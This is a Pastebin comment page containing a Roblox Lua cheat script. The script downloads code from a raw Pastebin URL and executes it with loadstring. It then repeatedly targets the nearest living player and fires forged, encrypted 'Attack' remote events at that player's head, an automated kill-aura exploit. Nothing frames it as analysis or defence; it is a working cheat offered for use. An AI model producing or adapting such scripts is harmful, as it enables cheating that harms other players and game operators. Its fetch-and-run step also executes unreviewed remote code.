KMBxSelhin
Feb 23rd, 2025
108
0
Never
This is comment for paste Untitled
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local player = game.Players.LocalPlayer
  2. local character = player.Character
  3. local localroot = character:WaitForChild("HumanoidRootPart")
  4. local url = "https://pastebin.com/raw/Vh2xiXZX"
  5.  
  6. local response = request({
  7. Url = url,
  8. Method = "GET"
  9. })
  10.  
  11. local loadedModule = loadstring(response.Body)()
  12.  
  13. local function closest()
  14. local range = 50
  15. local target = nil
  16. for _, v in pairs(game.Players:GetPlayers()) do
  17. if v ~= player and v.Character and not v.Character:FindFirstChildWhichIsA("ForceField") then
  18. local JN = v.Character:FindFirstChild("HumanoidRootPart")
  19. local JNR = v.Character:FindFirstChildOfClass("Humanoid")
  20. if JN and JNR.Health > 0 then
  21. local dist = (localroot.Position - JN.Position).magnitude
  22. if dist < range then
  23. range = dist
  24. target = v.Character
  25. end
  26. end
  27. end
  28. end
  29. return target
  30. end
  31.  
  32. game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
  33. character = char
  34. localroot = character:WaitForChild("HumanoidRootPart")
  35. end)
  36.  
  37. local jh = closest()
  38. game:GetService("RunService").Heartbeat:Connect(function()
  39. jh = closest()
  40. end)
  41.  
  42. while game:GetService("RunService").Heartbeat:Wait() do
  43. wait(1)
  44. if jh and jh:FindFirstChild("Head") then
  45. pcall(function()
  46. local encrypted, extra_info = loadedModule.Encrypt("Attack", "FrogWasHere")
  47.  
  48. local vroot = jh:FindFirstChild("Head")
  49. local args = {
  50. [1] = encrypted,
  51. [2] = {
  52. ["Limb"] = "Head",
  53. ["Character"] = jh,
  54. ["Point"] = Vector3.new(vroot.Position.X, vroot.Position.Y, vroot.Position.Z),
  55. ["Hit"] = vroot
  56. },
  57. [3] = false,
  58. [4] = extra_info
  59. }
  60.  
  61. game:GetService("Players").LocalPlayer.Character.Core.Communicate:FindFirstChild(""):FireServer(unpack(args))
  62. end)
  63. end
  64. end
  65.  
Advertisement
Add Comment
Please, Sign In to add comment